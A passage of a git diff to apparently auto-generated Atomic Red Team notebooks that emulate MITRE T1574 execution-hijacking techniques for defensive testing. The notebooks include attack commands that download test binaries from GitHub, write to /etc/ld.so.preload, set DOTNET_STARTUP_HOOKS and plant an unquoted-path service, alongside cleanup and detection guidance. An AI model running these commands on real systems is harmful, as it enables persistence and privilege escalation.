\"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n\n```" + "source": "### Atomic Test #1 - DLL Side-Loading using the Notepad++ GUP.exe binary\nGUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Gup.exe binary must exist on disk at specified location (#{gup_executable})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "db73e9dc", + "id": "cab93f8b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "84c95e45", + "id": "71f2058d", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "724a32f9", + "id": "25a5fe24", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "194068db", + "id": "7ba1718a", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /F /IM calculator.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "71afd04c", + "id": "cb379a87", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ed97ac0d", + "id": "56fc3b19", "metadata": {}, "source": "### Atomic Test #2 - DLL Side-Loading using the dotnet startup hook environment variable\nUtilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: .Net SDK must be installed\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nwinget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n\n```\n##### Description: preloader must exist\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c9da7094", + "id": "9c4de803", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b044b23a", + "id": "efc8372f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nset DOTNET_STARTUP_HOOKS=PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\ndotnet -h > nul\necho.\n```" + "```command_prompt\nset DOTNET_STARTUP_HOOKS=\"PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll\"\ndotnet -h > nul\necho.\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "f576f647", + "id": "68cbe25a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8cf8362c", + "id": "a8336cf5", "metadata": {}, "source": "#### Cleanup: \n```cmd\ntaskkill /F /IM calculator.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "917b4580", + "id": "6d3275e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "5836c7e4", + "id": "66ed83c3", "metadata": {}, "source": "## Detection\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.004.ipynb b/playbook/tactics/privilege-escalation/T1574.004.ipynb index 76e5cb3d..a4811ef3 100644 --- a/playbook/tactics/privilege-escalation/T1574.004.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "78d5a0c5", + "id": "82ccea72", "metadata": {}, "source": "# T1574.004 - Dylib Hijacking\nAdversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)" }, { "cell_type": "markdown", - "id": "191cbb03", + "id": "6b615c3f", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a16129db", + "id": "c0f12b23", "metadata": {}, "source": "## Detection\nMonitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.005.ipynb b/playbook/tactics/privilege-escalation/T1574.005.ipynb index 5dc0083a..8d2b379e 100644 --- a/playbook/tactics/privilege-escalation/T1574.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6f4bcf6d", + "id": "a75de229", "metadata": {}, "source": "# T1574.005 - Executable Installer File Permissions Weakness\nAdversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence." }, { "cell_type": "markdown", - "id": "c91d236e", + "id": "41350301", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f96c3bf1", + "id": "69b0fd86", "metadata": {}, "source": "## Detection\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.006.ipynb b/playbook/tactics/privilege-escalation/T1574.006.ipynb index b7428c1a..bd95df0f 100644 --- a/playbook/tactics/privilege-escalation/T1574.006.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "dad77e8e", + "id": "9790b2e8", "metadata": {}, "source": "# T1574.006 - Dynamic Linker Hijacking\nAdversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) " }, { "cell_type": "markdown", - "id": "cdab4c0b", + "id": "a3dcc2ff", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8b7685bc", + "id": "4ce15e3d", "metadata": {}, "source": "### Atomic Test #1 - Shared Library Injection via /etc/ld.so.preload\nThis test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_to_shared_library})\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1574006.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -shared -fPIC -o /tmp/T1574006.so PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "320629a7", + "id": "0c84fba6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b274d64b", + "id": "c6de54a8", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "1a59c781", + "id": "4e7153a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "865be821", + "id": "09845c3a", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo sed -i 's#/tmp/T1574006.so##' /etc/ld.so.preload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f56214d7", + "id": "b42fd972", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7db97b28", + "id": "4c2afe88", "metadata": {}, "source": "### Atomic Test #2 - Shared Library Injection via LD_PRELOAD\nThis test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.\n\nUpon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_to_shared_library})\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1574006.so ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -shared -fPIC -o /tmp/T1574006.so PathToAtomicsFolder/T1574.006/src/Linux/T1574.006.c\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0e11a4d8", + "id": "5971fdbf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8641aa6a", + "id": "07eebaac", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a2c8322e", + "id": "a9f07d68", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bdcfc20d", + "id": "7218c754", "metadata": {}, "source": "### Atomic Test #3 - Dylib Injection via DYLD_INSERT_LIBRARIES\ninjects a dylib that opens calculator via env variable\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Compile the dylib from (#{source_file}). Destination is #{dylib_file}\n\n##### Check Prereq Commands:\n```bash\ngcc -dynamiclib PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c -o /tmp/T1574006MOS.dylib\n\n```\n##### Get Prereq Commands:\n```bash\ngcc -dynamiclib PathToAtomicsFolder/T1574.006/src/MacOS/T1574.006.c -o /tmp/T1574006MOS.dylib\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "84cb957c", + "id": "f9ebe544", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "35c496d8", + "id": "6f3ced13", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c3a58ddb", + "id": "5160fa10", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "a247c8bd", + "id": "a55aed5a", "metadata": {}, "source": "#### Cleanup: \n```bash\nkill `pgrep Calculator`\nkill `pgrep firefox`\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fe736a7b", + "id": "5344b529", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "09e22de1", + "id": "b0be8844", "metadata": {}, "source": "## Detection\nMonitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates." } @@ -143,13 +143,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.007.ipynb b/playbook/tactics/privilege-escalation/T1574.007.ipynb index d7aa963d..59e6ffc5 100644 --- a/playbook/tactics/privilege-escalation/T1574.007.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5a35c41f", + "id": "d13eac1b", "metadata": {}, - "source": "# T1574.007 - Path Interception by PATH Environment Variable\nAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line." + "source": "# T1574.007 - Path Interception by PATH Environment Variable\nAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)" }, { "cell_type": "markdown", - "id": "ad746e3e", + "id": "703e6cb2", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "149db901", + "id": "470bfd0d", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.008.ipynb b/playbook/tactics/privilege-escalation/T1574.008.ipynb index d2e1e9e2..828e176f 100644 --- a/playbook/tactics/privilege-escalation/T1574.008.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.008.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "942b5327", + "id": "35cf5a59", "metadata": {}, "source": "# T1574.008 - Path Interception by Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001)." }, { "cell_type": "markdown", - "id": "21d745e0", + "id": "2cd86f9d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5ab568cf", + "id": "7d98a46d", "metadata": {}, "source": [ "### Atomic Test #1 - powerShell Persistence via hijacking default modules - Get-Variable.exe", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "283d669e", + "id": "04c8ee65", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4623514c", + "id": "4daa81ce", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" -ErrorAction Ignore\nStop-Process -Name \"calculator\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "515e141c", + "id": "ce29904b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "92523bf1", + "id": "b68df7ab", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n" } @@ -56,13 +56,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1574.009.ipynb b/playbook/tactics/privilege-escalation/T1574.009.ipynb index 3a2fb910..fe942653 100644 --- a/playbook/tactics/privilege-escalation/T1574.009.ipynb +++ b/playbook/tactics/privilege-escalation/T1574.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "70c939c5", + "id": "f0289472", "metadata": {}, "source": "# T1574.009 - Path Interception by Unquoted Path\nAdversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process." }, { "cell_type": "markdown", - "id": "77725f83", + "id": "1e4edf07", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "79208144", + "id": "08cffe4e", "metadata": {}, "source": [ "### Atomic Test #1 - Execution of program.exe as service with unquoted service path", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe \"C:\\Program Files\\windows_service.exe\"\ncopy PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n```" + "```command_prompt\ncopy \"PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe\" \"C:\\Program Files\\windows_service.exe\"\ncopy \"PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe\" \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c62a64c0", + "id": "25fafb44", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8cce1f0b", + "id": "f4dd550b", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "63587af2", + "id": "08824086", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1574.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3c78140e", + "id": "fba39f2c", "metadata": {}, "source": "## Detection\nMonitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": 